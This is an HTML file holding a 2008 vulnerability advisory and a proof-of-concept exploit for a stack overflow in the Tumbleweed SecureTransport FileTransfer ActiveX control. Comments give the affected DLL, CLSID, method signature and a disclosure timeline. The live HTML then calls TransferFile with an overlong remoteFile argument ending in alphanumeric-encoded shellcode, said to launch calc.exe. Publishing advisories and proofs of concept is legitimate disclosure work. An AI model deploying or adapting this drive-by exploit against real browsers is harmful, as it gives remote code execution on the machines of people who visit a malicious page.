131 lines
No EOL
8.8 KiB
HTML
131 lines
No EOL
8.8 KiB
HTML
<!--
|
||
aushack.com - Vulnerability Advisory
|
||
-----------------------------------------------
|
||
Release Date:
|
||
07-Apr-2008
|
||
|
||
Software:
|
||
Tumbleweed Communications - SecureTransport FileTransfer
|
||
http://www.tumbleweed.com/
|
||
|
||
Description:
|
||
"Tumbleweed SecureTransport is the industry's most secure Managed File Transfer
|
||
solution for moving financial transactions, critical business files, large
|
||
documents, XML, and EDI transactions over the Internet and private
|
||
IP networks.
|
||
The SecureTransport managed file transfer suite was built with
|
||
security in mind
|
||
from the ground up. SecureTransport provides corporate and
|
||
government organizations
|
||
with an enterprise-class managed file transfer service supporting a
|
||
broad and flexible
|
||
set of open Internet standards. Winner of the 2006 "Best Intellectual Property
|
||
Protection" award from SC Magazine, SecureTransport securely manages
|
||
file transfer
|
||
at over 20,000 sites around the world.
|
||
|
||
Financial networks use SecureTransport to move billions of dollars
|
||
in financial
|
||
transactions daily, and 8 of the top 10 U.S. banks use it to serve
|
||
tens of thousands
|
||
of corporate customers. Healthcare providers, payers, producers and
|
||
clearing houses
|
||
are linked through SecureTransport, which provides a single,
|
||
integrated secure file
|
||
transfer infrastructure for transferring private health information
|
||
(PHI). And
|
||
government agencies leverage SecureTransport to share sensitive documents
|
||
with other agencies."
|
||
|
||
Versions affected:
|
||
SecureTransport FileTransfer ActiveX Control vcst_eu.dll 1.0.0.5 English.
|
||
Prior versions, and other language editions (vcst_*.dll), are assumed
|
||
to be vulnerable.
|
||
|
||
Vulnerability discovered:
|
||
|
||
Buffer Overflow.
|
||
|
||
Vulnerability impact:
|
||
|
||
High - Remote code execution.
|
||
|
||
Vulnerability information:
|
||
|
||
This vulnerability allows remote attackers to execute arbitrary code
|
||
on vulnerable
|
||
installations of Tumbleweed Communications SecureTransport
|
||
FileTransfer ActiveX Control.
|
||
User interaction is required to exploit this vulnerability in that
|
||
the target must visit a
|
||
malicious page. It may be possible to embed into HTML capable email clients.
|
||
|
||
The specific flaw exists within the ActiveX control:
|
||
|
||
DLL: vcst_en.dll
|
||
CLSID: 38681fbd-d4cc-4a59-a527-b3136db711d3
|
||
|
||
interface IActiveXTransfer : IDispatch {
|
||
[id(0x00000007), helpstring("method TransferFile")]
|
||
HRESULT TransferFile(
|
||
[in] VARIANT URL,
|
||
[in] VARIANT hostName,
|
||
[in] VARIANT localFile,
|
||
[in] VARIANT remoteFile,
|
||
[in] VARIANT fdxCookie,
|
||
[in] long isSecure,
|
||
[in] long isUpload,
|
||
[in] int portNo,
|
||
[in] long isAscii,
|
||
[in] long shouldPerformMD5,
|
||
[in] long isCheckpointRestart,
|
||
[in] int serverPing,
|
||
[out, retval] VARIANT* errBuffer);
|
||
};
|
||
|
||
When a large value is specified for the 'remoteFile' parameter of the
|
||
IActiveXTransfer.FileTransfer() method, a stack overflow occurs.
|
||
Exploitation can result
|
||
in code execution under the context of the current user. Other
|
||
parameters, such as localFile,
|
||
fdxCookie and localFile may also vulnerable.
|
||
|
||
Examples:
|
||
|
||
The following HTML will execute calc.exe under Windows 2000 Professional.
|
||
|
||
-->
|
||
|
||
<html>
|
||
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3"
|
||
id="Vulnerable"></object>
|
||
<script language="javascript">
|
||
Vulnerable.TransferFile("a", "b", "c",
|
||
"HqwToZjIhHkOZrLAyrUXkIEJkcQkiYRtePnECVUqpnlzkJTgBuGiqyLUCnceJkrsIxPXchpkjFjIgJRqGvniwwHJssGiTaPpmKZlBPwGMYhShxUWMCLuhgrpWXfdoWCCRYtDTrwyvDmfdAtdazeizBqexoCGifFzEKzvLENkrNCoqpQVtclDmpzPIJZTgUuSHWyiZoUWeNzrJFILdoEpKoyEptrZidLYuGbCrHxrMURRpdXyYJLzbeGRKqUOliWDHFdTEJOsGLngqOVVZdjzlCgOYbvSaUKcmQcugvmVQWMQVfudlFmPvrmULKPQDVGuVFxuhFbuazTlsGbYhuJIjKfPdzGdYKcGVmVFqrtRrzXIGrauMEauSvNfDQkfyQNOTNSwftDyRhKdBFyZHaKQDDrxIEoFyrNLjLPTTGTYNlkoWfPdgSqStnopGaGkwCujLqtocvbYJuTVbUJUJbsloqLClPXTklqPEOsthiraZgJzElMuXPuleJCQdcLsEbnalOGUpZsLgafPsjJEjUuIKAwjZWAaMLnVZwqMQeUYToFMBuneclybwZcKUjHMZhUaEayTKAqPlXGIcUbJVXOpiergIyJVEegVBsPObCFGjXBCgEYZYWfUKxzvVzWeJvhqDRksWeZTWBRhMctQqFMuRHxuTifCqZUsVbILkcJNPUnbnsQHvxdmXMQdpHYTCiDBSwJUxmhKHRbYISvVGvburwysfdxiBPsDiHJJpBYnQpWdBQBwTrikbgybejtrQlBScWNsdHUxsaJpbKeamEbyjgABESztoNphFXKFclPKGFfrDhBdQkPSxApusHVXwumGCVrfgNUDmOaGOAtHkoPzfDLAvtNaXPHWLaKCCUQAYdaAxALDrEcLZwGCXkOcgLVsSrJHAWMtpeAnplUkYhTizmWNyribnFjJAtCxHSJsjAAiPbMTsmAVCioiIdvUVzEWpVJDfHQKGUAmmYqGUCfTXPyhkjcSyhBHOddRPvqWugerPbMMQlSllqNPquoytLBtvWbRyzAJddSxtzQaLATtYgibQzPeaMQzKIdpEJHPWSZyAkyaGkQJxCjgcrwQkBygMCsddYUdHifpbYdPgASxsPDjaTsArCJqosrCvrwHDKkUKjSaoJtbTaiJreoGjDWfDafPjrStaCeUQCVwiyvafEIcsbSvlCavYTHKSnyraoIuUcsWPSpCVHbWEYtwobKFQwvUjoCZqdZEFoQzvosazdPVjXhYqdnDpPTSRapMmAuFXsixOKucVKZZKOBSnAPEzsBcWMGBnNRUVffkJSzESkzkgyKWHkQXIIVjWCeCqMXZtGtGRafPCRyQkZYjRpQOHisWHfdtOSyZHJapOYBLQpRMDyNrhnmFeZWWaWpcuMkfEnZPBbLJwCQloArgGKvsudOoLNFfJwaWZzvSUGKFaddKnMIpuWwXtLzGKmkCJrDZkohkHrbmZZVhFGLhAgLMbwNVPixPcBefTvfNJimVtYGXYPgHChbZLSgPwSYzlqCIpzOMBVSjGzgksrmKjAjlDRIhBBmELmUDMFSqHwWpxfEEWwjzObyFXZVGOMrrWqsWADbtweGtddyFNAIpqQqRzxmVUbjAbUxnDndqpKNDbWKpIHGAQuoGcufpEkjrbMecXBzSsKentBwSHkNDbPBkiZEvnQEKtFgIKCKDDBMsnxFLBKgyTYEIkZdLjxBpuWUHRmrAqeLZGrSYcHlmhEsDbctsVoimbXEJryOLpibDVzoGaxfuhjyDvcNWhvSfixmuJUlNWoeEJVpSVupoCcTCLteLmglsHXIWOUXEWZURFNjdmnaxJPAAPaKtbTQkqyjqbgLsEZtZUQTbqXCzkpnCeKGbBvjiXJgnAbHGbowIAVKXRgcJXtkZLRuClxmJtSPfeIWyOUvaUGnXBQFJfbKwofltQJYldfKXbShFcfwumMWSgIOmiTzGofVNEuGOnkFnnzjKLJVXwAkxonTCeINNwkIDgoVZmjfnflgvWUToyMkVSuGAQhzDLSoeGtKuPHoPynBsdrVqPJcNksGiJmZWYsMZWoRIWsBTBwaSfOQlBjzmwqrGXdDBEeKSuwSncGcwJyOnlCpOkXWcrBdfTncQfwLYfQPPWmlrLMPUZiOMcoxUmOSJbVzqbKlmgIjQcPABepTGFchsrdWijXbYxfLkIMxoTDRjfkRiytIvzFAfWuXfHrEVXoAuVZEDPqiTemWciTsSmKbwEtfMXkIVpDxKlFxRJHdaMdUrEZCJNkATqMnWcbAAEWPDNeWaPtGArUDpDPNkemRFZiEFLVqxaMdZnWFvFtUrXYWnPjWNMdTuzsMFxnmMEtwVQEcaZHzIWvGfaNHKTgKroefyErvhZqAavhGLJFdIzbjnVXkJlfFEeWmfoTRFIYNtfIvIbjZNSsGMzjvZMYvfGwQDzmDdCLHDEMdkYdCluEwIXBGugcOmrVhhTqhcJeWofypbnAvXsHNKwqDrWWWKYePeXkpInurLBiCAtqtVqiYOIzPUzNZcmEUyOaIWetBzEUpovdlaSXRFtJSHkXsLKglMsqETAcHvJZWcGEeelObuqCdWaYqPhfghqGfnYpErsUIVSZQbiRpJNdoeHLXEFeqXBoMpnZTaJZchqHpkdocMEvdOEnhOzzueuOTwXrwEATaDaWJpXZuLsCrYczknwyAphmUevgvZzQGOQzyrsPvIZZUGXqSwgRADPhvcfBMAGYmPGDDXPnEoOzABADlDQGicETRIAmcRwsSvszWELcaseVabXOmGuBhpfOjhALMypkyCgyBDpFEwbnGYSXFiNqbOqUypiJiTrOthTyspQvMQawnagaFJWzgoxKWQpoHXFxRUWRcmtLHFLPakRPDxNiGliWQqtRBjKHnBAagKkuMQLLVuDLevjbkEhqGFFYylybFEyMvdnMaRdcucYrpaSNGesjkOYWczjffbJmhEWTgeYGPDKRHBuOmauGzNNKCXhOAOqhxdHQAdfQEffPDBrvGiEodtTDIXeDdsOXcmMrdMJdxnbZFiuVRFNioshyrXTVodBxaFXYBbwfVwcUSJXGdZZAnYMEhVtPEZYUUBeRJDZKFCrRuJQdLtkKakwFLEQXTcOUcjFPolJLWtJvXenczUxRbGZRINYXWUzzcHJNryYMOCHNZsrfloSffZWtgLJXudLeRYwbukvxEMcMwXAYiXChqgVXDeXDMvfowmLZSwkHjTLtIRFnmGFArnVllqfjiOnXPdZjaIxugozJjVcoVZnExzQxhxPrciIeSjJMBImjHfsHyoigqknpsAoNGpGqRSEVegZQXQlVQyNmewfOjiZCwTWOdSRCwnzQczqnWyeXTIzzukwVKkDAsStGbrCwYYFQqnlBheQVFhGfgwKSCcQSqixNGSPeVobgJLiNftjLqycVBbSUphUqoxxstwQUdAVkQfyoKUAKWgEJycUHyHRPoVbnTTVHvrGnwzlPAvDsThykmjHmaWLblFsSPlHrsBJTvHWAmJViArtMgJZaTbPARfcnHAlorGubyovlnCfyQArosOILFrXKHupmHusRIoQgDZzyZHsCZhNoOnHWnUsUGFeqYsLILkSwnvHsuOlYGjhIfMhwqmcaIMQaqFFkhABUEXzKyKYSQyOTyrFfqIlIkNvLxriALuQsbamSphbypAADfqgXjxtFKzlXCuuCovaozBjtrqjyRqEJTLoLWXSJUzayhZYomKFzYBfKYzGodrrIXemRZZRwDXyfCLVxmmdLOvwSCTjtsETodToQLvjrUkHUQktaQZvODJrtRgmEuFYDvPIcmynnHzAVroXUfFIvUszIyeJVaWogcLPDKuLTPmCWZEOWpyQeDUjhiyZHtjMEBnGYjYpnFeiAlaqfziytMiSAUmXpKzJEdIPWNdMKsjilgDITudqqCoHrsQDGUBIbxtHCJRzPIQuthMmhiaJSvncBzVNuDDIJFXvySSKUOlkFdEbbvvQYMRoFgGurkUAWbiczranFEsZzPYlUJKsAeFJOXPVmthxTdmgQWCzscNuhCNfRnOZFXwUOdGmHGhBijSrytzjNJiwDyNNlYmQbrjSSPvDgOdEGZNbKEkhyoboqmlzQUvEhrSrEAuKduQGvOyrVgCvrhmzXQjHsoQrkRMIgFNhqvMncLHcauYYPVcZNescGfqSPeFODxhzUkalkFRrMpnptBHYTZXVEgINvieNxFeJIVYRJaEsJOwDEkXaUxvuHQgUSjyVxoXfxjzNTXehTukeQAosgTtbaTswUhSSxGmytLAxAUYmLpcNOWqvHWgiJhfduWtwALnUZoiGZIlKhbnHZmGLWjfgMDLbNJKNJAJufWHQDDdBNZsXXiFzgADlSniUqBjVQBNmCEDuciGDgnpNqXRGfdrPfMeFBsUHvwPYNfguoTgJoAUVCsfsXKXqbUOVaTbvWzaLFIiBodrzFvgzkejRwlBvdoDjvRUegEepepXqzHopUAAzvHgnacEwmXoZkmYmxKNJFoxekgijRWXRJteBBqwpPSrUVlSiHHPqBvipxhCaLQlumwzvoFnQNHKzYnAFWcjqfsLzjjbIEBzRyMvTVSdQSoYhHzOUXgUERmDofuFOqzngpykPjhMpQElnoUzqwzHë
|
||
!ÙÄ* uTXÃÄÙpô]UYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHQTEPC0C0LKG5GLLKCLDECHC1JOLKPOB8LKQOQ0EQJKQYLKGDLKEQJNP1IPMINLK4IPD4DGIQHJDMEQHBJKJTGKPTGTC4CEKULKQOQ4C1JKBFLKDLPKLKQOELEQJKLKELLKC1JKK9QLFDETHCQOP1L6E0F6E4LKQVFPLKG0DLLKBPELNMLKCXC8LIJXK3IPCZF0E8CNN8JBCCE8LXKNMZDNPWKOJGBCCQBLBCEPAA",
|
||
"d", false, false, 80, false, true, true, 420)
|
||
</script>
|
||
</html>
|
||
|
||
<!--
|
||
Additionally, a Metasploit Framework Module has been written to
|
||
demonstrate the vulnerability.
|
||
|
||
References:
|
||
aushack.com advisory
|
||
http://www.aushack.com/200708-tumbleweed.txt
|
||
|
||
Credit:
|
||
Patrick Webster ( patrick@aushack.com )
|
||
|
||
Disclosure timeline:
|
||
13-Aug-2007 - Discovered during quick audit.
|
||
14-Aug-2007 - Metasploit module developed.
|
||
22-Aug-2007 - Notified vendor.
|
||
19-Oct-2007 - Vendor patch released. SecureTransport Server 4.6.1 Hotfix 20.
|
||
07-Apr-2008 - Disclosure.
|
||
|
||
EOF
|
||
-->
|
||
|
||
# milw0rm.com [2008-04-07] |